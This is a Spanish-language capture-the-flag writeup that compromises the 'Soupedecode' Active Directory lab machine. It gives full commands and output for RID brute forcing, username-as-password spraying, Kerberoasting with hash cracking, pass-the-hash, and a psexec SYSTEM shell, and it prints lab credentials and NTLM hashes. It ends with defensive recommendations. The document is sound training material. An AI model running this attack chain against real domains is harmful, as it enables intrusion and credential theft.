SoupeDecode

Introducción

En este writeup documentamos de forma detallada el proceso de explotación de la máquina **Soupedecode**, un entorno simulado basado en **Active Directory** que refleja múltiples fallos comunes en entornos empresariales reales. A lo largo de la intrusión se aplicaron técnicas ampliamente utilizadas por atacantes en escenarios internos, demostrando cómo un acceso inicial mínimo puede escalar rápidamente hasta el **control total del dominio**.

El objetivo de esta máquina era identificar vulnerabilidades a través de una enumeración cuidadosa, explotar debilidades en la gestión de cuentas y contraseñas, y utilizar técnicas como **RID Brute Forcing**, **Kerberoasting**, **Pass-the-Hash**, y el abuso de **cuentas de servicio mal configuradas** para escalar privilegios.

Este informe no solo muestra cada paso técnico realizado, sino que también explica por qué se realizaron esas acciones, qué herramientas se usaron, y qué implicaciones tienen en un entorno corporativo real. El resultado final fue obtener acceso como `NT AUTHORITY\SYSTEM` en el **controlador de dominio (DC01)**, demostrando la cadena completa de compromiso desde un usuario limitado hasta la raíz del dominio.

Escaneo de Puertos con Nmap

Para comenzar, realizamos un escaneo completo de puertos con `nmap` utilizando los siguientes parametros:

```
┌──(zikuta㉿zikuta)-[~]
└─$ nmap -sV -sS -Pn -p- -sC --min-rate 5000 10.201.85.39
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 04:44 CDT
Nmap scan report for 10.201.85.39
Host is up (0.24s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-
08-03 09:45:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
```

```
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: SOUPEDECODE
|   NetBIOS_Domain_Name: SOUPEDECODE
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: SOUPEDECODE.LOCAL
|   DNS_Computer_Name: DC01.SOUPEDECODE.LOCAL
|   Product_Version: 10.0.20348
|_  System_Time: 2025-08-03T09:46:25+00:00
| ssl-cert: Subject: commonName=DC01.SOUPEDECODE.LOCAL
| Not valid before: 2025-06-17T21:35:42
|_Not valid after:  2025-12-17T21:35:42
|_ssl-date: 2025-08-03T09:47:05+00:00; -1s from scanner time.
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49718/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-08-03T09:46:25
|_  start_date: N/A
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
```

Resultados relevantes:

```
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds?
```

```
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
9389/tcp  open  mc-nmf        .NET Message Framing
```

Este set de puertos indica que estamos frente a un **Controlador de Dominio (Domain Controller)** de un entorno Active Directory:

- **Kerberos (88)** y **LDAP (389/3268)** son esenciales para autenticación y estructura de dominio.
- **SMB (445)** y **NetBIOS (139)** permiten compartir archivos, impresoras y recursos.
- **RDP (3389)** habilita acceso remoto gráfico.
- **DNS (53)** sugiere resolución interna de nombres en el dominio `SOUPEDECODE.LOCAL`.

Información útil recolectada:

- Hostname: `DC01`
- Dominio: `SOUPEDECODE.LOCAL`
- Sistema: Windows Server 2022
- Controlador de Dominio: **sí**
- SMB signing: **Enabled & Required** (bloquea ataques tipo relay)

Enumeración de SMB como `guest`

Usamos `nxc` (de la suite Impacket) para conectarnos al puerto 445 usando un usuario anónimo (guest):

```
(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ nxc  smb 10.201.122.124 -u 'guest' -p '' --shares
SMB         10.201.122.124  445    DC01             [*] Windows Server 2022
Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True)
(SMBv1:False)
SMB         10.201.122.124  445    DC01             [+]
SOUPEDECODE.LOCAL\guest:
SMB         10.201.122.124  445    DC01             [*] Enumerated shares
SMB         10.201.122.124  445    DC01             Share
Permissions     Remark
SMB         10.201.122.124  445    DC01             -----           ----------
-     ------
SMB         10.201.122.124  445    DC01             ADMIN$
Remote Admin
SMB         10.201.122.124  445    DC01             backup
SMB         10.201.122.124  445    DC01             C$
Default share
```

```
SMB         10.201.122.124  445    DC01             IPC$            READ
Remote IPC
SMB         10.201.122.124  445    DC01             NETLOGON
Logon server share
SMB         10.201.122.124  445    DC01             SYSVOL
Logon server share
SMB         10.201.122.124  445    DC01             Users
```

Resultado:

```
[*] Enumerated shares
Share       Permissions  Remark
------      -----------  ------
ADMIN$                   Remote Admin
backup
C$                      Default share
IPC$       READ          Remote IPC
NETLOGON                Logon server share
SYSVOL                  Logon server share
Users
```

¿Qué Descubrimos?

- La cuenta `guest` tiene **acceso válido** (sin contraseña) al servicio SMB.
- Se puede **leer** la compartición `IPC$` — esto es **clave**.

> **¿Por qué es importante `IPC$` con permisos READ?**
> `IPC$` es una compartición especial que permite realizar conexiones **inter-proceso**, incluidas consultas a nivel de red y enumeración de información del sistema (como usuarios, grupos, políticas, etc.). Si tenemos acceso a `IPC$`, podemos usar herramientas como `enum4linux`, `crackmapexec`, `rpcclient`, o `nxc` para **enumerar información sensible del dominio** — incluso sin credenciales.

Enumeración de usuarios con RID Brute Force

Después, aprovechamos el acceso a `IPC$` para hacer un ataque **RID Brute Force** con `nxc`:

```
(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ nxc  smb 10.201.122.124 -u 'guest' -p '' --rid-brute
SMB         10.201.122.124  445    DC01             [*] Windows Server 2022
Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True)
(SMBv1:False)
SMB         10.201.122.124  445    DC01             [+]
```

```
SOUPEDECODE.LOCAL\guest:
SMB         10.201.122.124  445    DC01             498:
SOUPEDECODE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.201.122.124  445    DC01             500:
SOUPEDECODE\Administrator (SidTypeUser)
SMB         10.201.122.124  445    DC01             501: SOUPEDECODE\Guest
(SidTypeUser)
SMB         10.201.122.124  445    DC01             502: SOUPEDECODE\krbtgt
(SidTypeUser)
SMB         10.201.122.124  445    DC01             512: SOUPEDECODE\Domain
Admins (SidTypeGroup)
SMB         10.201.122.124  445    DC01             513: SOUPEDECODE\Domain
Users (SidTypeGroup)
SMB         10.201.122.124  445    DC01             514: SOUPEDECODE\Domain
Guests (SidTypeGroup)
SMB         10.201.122.124  445    DC01             515: SOUPEDECODE\Domain
Computers (SidTypeGroup)
SMB         10.201.122.124  445    DC01             516: SOUPEDECODE\Domain
Controllers (SidTypeGroup)
SMB         10.201.122.124  445    DC01             517: SOUPEDECODE\Cert
Publishers (SidTypeAlias)
SMB         10.201.122.124  445    DC01             518: SOUPEDECODE\Schema
Admins (SidTypeGroup)
SMB         10.201.122.124  445    DC01             519:
SOUPEDECODE\Enterprise Admins (SidTypeGroup)
SMB         10.201.122.124  445    DC01             520: SOUPEDECODE\Group
Policy Creator Owners (SidTypeGroup)
SMB         10.201.122.124  445    DC01             521: SOUPEDECODE\Read-only
Domain Controllers (SidTypeGroup)
SMB         10.201.122.124  445    DC01             522: SOUPEDECODE\Cloneable
Domain Controllers (SidTypeGroup)
SMB         10.201.122.124  445    DC01             525: SOUPEDECODE\Protected
Users (SidTypeGroup)
SMB         10.201.122.124  445    DC01             526: SOUPEDECODE\Key
Admins (SidTypeGroup)
SMB         10.201.122.124  445    DC01             527:
SOUPEDECODE\Enterprise Key Admins (SidTypeGroup)
SMB         10.201.122.124  445    DC01             553: SOUPEDECODE\RAS and
IAS Servers (SidTypeAlias)
SMB         10.201.122.124  445    DC01             571: SOUPEDECODE\Allowed
RODC Password Replication Group (SidTypeAlias)
SMB         10.201.122.124  445    DC01             572: SOUPEDECODE\Denied
RODC Password Replication Group (SidTypeAlias)
SMB         10.201.122.124  445    DC01             1000: SOUPEDECODE\DC01$
(SidTypeUser)
SMB         10.201.122.124  445    DC01             1101:
```

```
SOUPEDECODE\DnsAdmins (SidTypeAlias)
SMB         10.201.122.124  445    DC01             1102:
SOUPEDECODE\DnsUpdateProxy (SidTypeGroup)
SMB         10.201.122.124  445    DC01             1103: SOUPEDECODE\bmark0
(SidTypeUser)
SMB         10.201.122.124  445    DC01             1104: SOUPEDECODE\otara1
(SidTypeUser)
```

¿Qué es el RID Brute?

En Active Directory, cada usuario/grupo tiene un identificador único llamado **RID** (Relative Identifier). El SID completo de un usuario es algo como:

`S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-500`
Los primeros bloques identifican el dominio. El número final (el **RID**) identifica el usuario. Ejemplos comunes:

- `500` : Administrator
- `501` : Guest
- `512` : Domain Admins
- `513` : Domain Users

El ataque de RID brute consiste en **enumerar sistemáticamente los RID comunes** para identificar usuarios y grupos, incluso si el servidor bloquea el listado tradicional.

Esto nos **confirma usuarios válidos** del dominio, que luego podremos usar en ataques de:

- **Kerberoasting**
- **AS-REP Roasting**
- **Password spraying**
- **NTLM relaying** (si el signing no estuviera activo)

Conclusión de la primera fase:

Ya tenemos una muy buena base para empezar a pivotar en este entorno Active Directory:

- Enumeramos servicios críticos del DC.
- Confirmamos acceso SMB anónimo.
- Descubrimos varias comparticiones de interés.
- Enumeramos usuarios reales del dominio con RID brute.

Preparación de la lista de usuarios y ataque de contraseñas por defecto

Después de haber ejecutado el ataque de **RID Brute Force**, obtuvimos una lista extensa de usuarios del dominio. Pero para poder usarla en herramientas automatizadas, necesitábamos limpiar y convertir esos datos en un **formato útil**, es decir: una lista con **un nombre de usuario por línea**.

Extracción limpia de usuarios con `awk`

Usamos el siguiente comando para procesar la salida del `--rid-brute`:

```
nxc smb 10.201.51.2 -u "guest" -p "" --rid-brute | awk '{split($6,a,"\\"); print a[2]}' > usuarios.txt
```

Explicación detallada:

- `nxc smb 10.201.51.2 ... --rid-brute`: ejecuta el ataque de RID brute contra el DC para listar los usuarios del dominio.
- `|`: canaliza la salida del comando anterior hacia el siguiente.
- `awk`: herramienta para procesar texto línea por línea.
- `split($6,a,"\\")`: toma la **sexta columna** de cada línea (donde aparece el nombre como `SOUPEDECODE\usuario`) y la divide por el carácter `\`.
- `print a[2]`: imprime solo la parte derecha del nombre (el nombre de usuario).
- `> usuarios.txt`: guarda el resultado en un archivo de texto.

Resultado:

Archivo `usuarios.txt` con contenido como:

```
Administrator
Guest
krbtgt
ybob317
mark.j
...
```

Una lista limpia de usuarios reales del dominio. Esta lista será usada para futuros ataques de password spraying, AS-REP roasting, Kerberoasting, etc.

Ataque de contraseña: username = password

Aprovechando la lista de usuarios, probamos si alguno de ellos tenía como contraseña su **mismo nombre de usuario**. Este es un error común en redes mal configuradas o donde los usuarios no han sido forzados a cambiar sus contraseñas por defecto.

Comando utilizado:

```
nxc smb 10.201.51.2 -u usuarios.txt -p usuarios.txt --no-bruteforce --
continue-on-success
```

Explicación detallada:

- `-u usuarios.txt` : carga la lista de nombres de usuario desde ese archivo.
- `-p usuarios.txt` : utiliza **la misma lista** como lista de contraseñas (es decir, prueba `usuario:usuario`).
- `--no-bruteforce` : le indica a `nxc` que no combine todos los usuarios con todas las contraseñas (lo cual sería un ataque de fuerza bruta completo), sino que pruebe **usuario1:usuario1**, **usuario2:usuario2**, y así sucesivamente.
- `--continue-on-success` : por defecto `nxc` se detiene cuando encuentra un login válido. Con esta opción, continuará probando el resto de los usuarios incluso si ya encontró una combinación válida.

Objetivo:

- Detectar **usuarios con contraseñas por defecto o débiles**.
- Obtener **primeras credenciales válidas** del dominio.

Por qué es esto importante?

- Hemos comprometido una **cuenta válida de dominio**.
- Esto nos permite:
  - Enumerar más shares SMB.
  - Hacer ataques Kerberos (Kerberoasting, AS-REP Roasting).
  - Ver si tiene privilegios en el DC.
  - Acceder a archivos o scripts sensibles.
- Escalar privilegios más adelante.

Acceso SMB con Credenciales Válidas

Tras descubrir las credenciales válidas `ybob317:ybob317` , nuestro siguiente paso fue comprobar qué acceso nos brindaban en el entorno. Lo primero que hicimos fue probarlas

directamente contra el servicio **SMB** (puerto 445), accediendo a la compartición `Users`, que suele contener los perfiles de todos los usuarios del dominio.

```
(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ smbclient  --user=DC01.SOUPEDECODE.LOCAL/ybob317%ybob317
//10.201.51.2/Users
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   DR        0  Thu Jul  4 17:48:22 2024
  ..                                 DHS        0  Wed Jun 18 17:14:47 2025
  admin                                D        0  Thu Jul  4 17:49:01 2024
  Administrator                        D        0  Fri Jul 25 12:45:10 2025
  All Users                        DHSrn        0  Sat May  8 03:26:16 2021
  Default                            DHR        0  Sat Jun 15 21:51:08 2024
  Default User                     DHSrn        0  Sat May  8 03:26:16 2021
  desktop.ini                        AHS      174  Sat May  8 03:14:03 2021
  Public                               DR        0  Sat Jun 15 12:54:32 2024
  ybob317                              D        0  Mon Jun 17 12:24:32 2024

                12942591 blocks of size 4096. 10603381 blocks available
```

Explicación de los parámetros:

- `smbclient`: herramienta de línea de comandos para conectarse a recursos compartidos SMB/CIFS.
- `--user=DOMINIO/usuario%contraseña`: formato para pasar el nombre de usuario y contraseña.
- `//IP/SHARE`: recurso compartido al que queremos acceder (en este caso, `Users`).

> Nota: usamos el **FQDN** completo `DC01.SOUPEDECODE.LOCAL` porque estamos interactuando con un dominio Active Directory, lo cual ayuda a evitar errores de resolución o autenticación.

¿Qué cosas valiosas podemos conseguir con este acceso?

Obtener una cuenta válida de usuario de dominio como `ybob317` nos abre muchas puertas en un entorno Active Directory:

Acceso a SMB con privilegios de usuario:

- Leer su carpeta personal, incluyendo:
  - Escritorio (donde usualmente se dejan archivos importantes)

    - Documentos, contraseñas guardadas, notas, etc.
- Leer potenciales **archivos con información sensible** como scripts, configuraciones, archivos `*.ps1`, claves API, etc.
- Copiar archivos como `NTUSER.DAT`, que puede usarse para extracción de información (como hashes, MRU, credenciales almacenadas, etc.

Ataques Kerberos:

- Usar la cuenta en herramientas como `GetUserSPNs.py` para hacer **Kerberoasting**.
- Intentar **AS-REP Roasting**, si el usuario no requiere preautenticación.
- Validar si la cuenta tiene acceso RDP (escritorio remoto).
- Validar si tiene privilegios delegados o permisos sobre objetos en AD (con `bloodhound` o `ldapdomaindump`).

Captura de la User Flag

Obtenemos la primera flag de la maquina.

```
smb: \ybob317\Desktop\> get user.txt /home/zikuta/usuario.txt
```

Escalada de privilegios en entorno Active Directory — SPN Enumeration, Hash Dump y Pass-the-Hash

Explotación de un usuario de dominio válido — Enumeración de SPNs (Kerberoasting)

Con las credenciales válidas descubiertas previamente (`ybob317:ybob317`), ejecutamos un ataque de **Kerberoasting**, una técnica que permite solicitar tickets de servicio (TGS) asociados a cuentas con **SPN (Service Principal Name)** y luego intentar crackear sus hashes offline.

Herramienta utilizada:

`GetUserSPNs.py` (parte de la suite Impacket)

```
┌──(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ python3 GetUserSPNs.py SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip
10.201.67.29 -request -outputfile /home/zikuta/Desktop/soupedecode/hashes.txt
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
```

```
ServicePrincipalName    Name            MemberOf  PasswordLastSet
LastLogon  Delegation
----------------------  --------------  --------  --------------------------
---------  ----------
FTP/FileServer          file_svc                  2024-06-17 12:32:23.726085
<never>
FW/ProxyServer          firewall_svc              2024-06-17 12:28:32.710125
<never>
HTTP/BackupServer       backup_svc                2024-06-17 12:28:49.476511
<never>
HTTP/WebServer          web_svc                   2024-06-17 12:29:04.569417
<never>
HTTPS/MonitoringServer  monitoring_svc            2024-06-17 12:29:18.511871
<never>



[-] CCache file is not found. Skipping...

┌──(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ cat /home/zikuta/Desktop/soupedecode/hashes.txt
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*
```

Parámetros explicados:

- `SOUPEDECODE.LOCAL/ybob317:ybob317`: Usuario y contraseña válidos.
- `-dc-ip 10.201.67.29`: Dirección IP del **Controlador de Dominio (DC)**.
- `-request`: Solicita los TGS (tickets de servicio) que serán vulnerables a Kerberoasting.
- `-outputfile`: Guarda los hashes obtenidos en un archivo.

Resultado:
Se extrajeron varios hashes Kerberos TGS vinculados a cuentas de servicio como `file_svc`, `firewall_svc`, `backup_svc`, etc.

Cracking offline de hashes TGS

Una vez obtenidos los hashes, se utilizaron herramientas como **Hashcat** para crackearlos offline y recuperar la contraseña en texto plano de alguna cuenta de servicio.

```
krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$2f0e616a465
38f06:Password123!!

Session..........: hashcat
```

```
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......:
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE...8eb5cc
Time.Started.....: Mon Aug  4 21:31:13 2025, (12 secs)
Time.Estimated...: Mon Aug  4 21:31:25 2025, (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   917.6 kH/s (1.04ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10732581/14344385 (74.82%)
Rejected.........: 2085/10732581 (0.02%)
Restore.Point....: 10731044/14344385 (74.81%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Patrick812 -> ParadornSIGGRAPH
Hardware.Mon.#1..: Util: 76%

Started: Mon Aug  4 21:31:12 2025
Stopped: Mon Aug  4 21:31:26 2025
```

📌 **Hash crackeado exitosamente**:

- Usuario: `file_svc`
- Contraseña: `Password123!!`

Esta contraseña es **débil** y común, lo cual permitió su rápida recuperación. Esto es un clásico fallo en entornos donde no se aplican políticas de complejidad robustas.

Acceso a recursos compartidos vía SMB

Con las credenciales de `file_svc`, se intentó acceder a comparticiones SMB disponibles, en busca de archivos sensibles o mal configuraciones.

```
┌──(zikuta㉿zikuta)-[~/Desktop/soupedecode]
└─$ smbclient //10.201.99.61/backup -U file_svc -p 'Password123!!'
Password for [WORKGROUP\file_svc]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jun 17 12:41:17 2024
  ..                                 DR        0  Fri Jul 25 12:51:20 2025
  backup_extract.txt                  A      892  Mon Jun 17 03:41:05 2024
```

```
                12942591 blocks of size 4096. 10593927 blocks available
smb: \> get backup_extract.txt
getting file \backup_extract.txt of size 892 as backup_extract.txt (0.9
KiloBytes/sec) (average 0.9 KiloBytes/sec)
```

Dentro del recurso compartido `backup`, se encontró un archivo interesante: `backup_extract.txt`

Tras descargarlo, se reveló una **sorpresa crítica**:

```
┌──(zikuta㉿zikuta)-[~/Desktop/soupedecode]
└─$ cat backup_extract.txt
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7
902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f5
45c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f
6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb32
5559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e
70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b
4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038
b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f0
50d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a879
88881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273
990f6c5117:::
```

El archivo `backup_extract.txt` contiene **hashes NTLM de cuentas de máquinas (computer accounts)** del dominio en formato `LM:NTLM`. Esto es extremadamente valioso para ataques de **Pass-the-Hash** o **Overpass-the-Hash**. Aquí tu plan de acción

Exposición de hashes NTLM de cuentas de equipos

El archivo `backup_extract.txt` contenía **hashes NTLM** de múltiples **cuentas de máquinas (computer accounts)** del dominio, en el formato típico de SAM dump:

- **Formato**:
  `[Cuenta]$:[ID]:[LMhash]:[NThash]:::`

Ejemplo:
`WebServer$:2119:aad3b...:c47b45f5d4df5a...:::` **Lo importante**: El **hash NTLM** (tercer campo después del `:`).
    - `aad3b435b51404eeaad3b435b51404ee` es el LMhash (vacío/deshabilitado).
- El cuarto campo es el NThash (ej: `c47b45f5d4df5a494bd19f13e14f7902`).

Técnica implicada:

Pass-the-Hash (PtH) — Esta técnica permite autenticarse en sistemas Windows reutilizando directamente un hash NTLM válido sin necesidad de conocer la contraseña en texto plano.

Validación del hash con privilegios administrativos

Probamos el hash del equipo `FileServer$` con la herramienta `crackmapexec` para verificar si dicha cuenta tenía privilegios elevados.

```
┌──(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ crackmapexec smb 10.201.99.61 -u FileServer\$ -H
'e41da7e79a4c76dbd9cf79d1cb325559'
SMB         10.201.99.61    445    DC01             [*] Windows Server 2022
Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True)
(SMBv1:False)
SMB         10.201.99.61    445    DC01             [+]
SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
```

"Pwn3d!" significa que la cuenta `FileServer$` tiene **privilegios de administrador local** en el servidor `DC01` (controlador de dominio). Esto nos permite ejecutar comandos, extraer hashes y tomar control total del dominio.

Ejecución remota con PsExec — Shell como SYSTEM

Con privilegios administrativos, utilizamos `impacket-psexec` para ejecutar comandos en el DC usando el hash NTLM directamente (sin necesidad de contraseña).

```
┌──(zikuta㉿zikuta)-[/usr/share/doc/python3-impacket/examples]
└─$ impacket-psexec -hashes ":e41da7e79a4c76dbd9cf79d1cb325559"
SOUPEDECODE.LOCAL/'Fileserver$'@10.201.99.61
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.201.99.61.....
[*] Found writable share ADMIN$
[*] Uploading file vzlxMxBf.exe
```

```
[*] Opening SVCManager on 10.201.99.61.....
[*] Creating service UdTF on 10.201.99.61.....
[*] Starting service UdTF.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop> type root.txt
--------------
```

Se obtuvo una **shell remota con permisos SYSTEM**:

Dominio comprometido con éxito!

El hash de una cuenta de equipo fue suficiente para escalar privilegios al máximo nivel y obtener la **flag final (`root.txt`)**.

Tecnicas utilizadas

Técnica	Descripción
RID Brute Forcing	Enumeración de cuentas del dominio vía RID usando SMB
Password Spraying	Ataque de autenticación masiva con contraseña débil (usuario=contraseña)
Kerberoasting	Solicitud de tickets TGS de cuentas con SPN y crackeo offline de sus hashes
Pass-the-Hash	Autenticación directa utilizando hashes NTLM sin conocer la contraseña
Remote Code Execution (RCE)	Ejecución remota como SYSTEM mediante PsExec (SMB + servicio)

Conclusión General

El compromiso de la máquina **Soupedecode** demuestra con claridad cómo una cadena de errores comunes en entornos de Active Directory puede escalar desde un acceso básico hasta el **control total del dominio**.

Todo comenzó con un sencillo ataque de **RID Brute Forcing** y un **password spraying** básico que permitió obtener un usuario válido (`ybob317:ybob317`). Con esta cuenta, ejecutamos un ataque **Kerberoasting** que reveló múltiples hashes TGS de cuentas de servicio mal

protegidas. Uno de estos hashes fue crackeado rápidamente debido al uso de una contraseña débil (`Password123!!`).

A partir de ahí, accedimos a recursos compartidos SMB donde, sorprendentemente, encontramos expuestos **hashes NTLM de cuentas de equipo**. Estos hashes permitieron llevar a cabo un **Pass-the-Hash** para autenticar como `FileServer$` , una cuenta de equipo que poseía **privilegios de administrador local sobre el DC**.

Con esto, el uso de **impacket-psexec** nos dio acceso interactivo como **NT AUTHORITY\SYSTEM**, lo que nos permitió capturar la **flag de root** y confirmar el compromiso total de la infraestructura.

Este escenario reproduce un ataque realista donde un atacante interno o con acceso limitado puede escalar a un nivel crítico mediante técnicas bien conocidas, aprovechando **mala gestión de credenciales**, **permisos excesivos**, y **falta de segmentación y control de acceso**.

Recomendaciones de Seguridad

Para prevenir este tipo de compromisos en entornos reales, es fundamental aplicar múltiples capas de defensa y controles adecuados en todos los niveles del dominio:

Gestión de Credenciales

- **Forzar el uso de contraseñas seguras** mediante políticas de complejidad y rotación.
- **Auditar cuentas de servicio** regularmente, ya que suelen quedar olvidadas y mal gestionadas.
- Proteger los hashes mediante el uso de **LSA Protection (RunAsPPL)** y **Credential Guard**.

Hardening de Active Directory

- **Eliminar SPNs innecesarios** y usar cuentas gMSA (Group Managed Service Accounts) siempre que sea posible.
- Evitar que **cuentas de máquina tengan privilegios de administrador** en el DC salvo que sea estrictamente necesario.

Seguridad en Recursos Compartidos

- **Evitar exponer información sensible o hashes** en archivos dentro de recursos SMB.
- Aplicar **revisión periódica de permisos** en comparticiones de red.

Autenticación y Acceso

- Implementar **autenticación multifactor (MFA)** para acceso administrativo.

- **Segmentar redes** para evitar que cualquier usuario pueda contactar directamente al controlador de dominio.

Detección y Respuesta

- Activar **auditoría avanzada de eventos** para detectar actividades sospechosas como solicitudes de TGS masivas o intentos de conexión desde cuentas de máquina.
- Utilizar herramientas como **Sysmon**, **ELK stack**, **Splunk** o **Microsoft Defender for Identity** para correlación de eventos y alertas.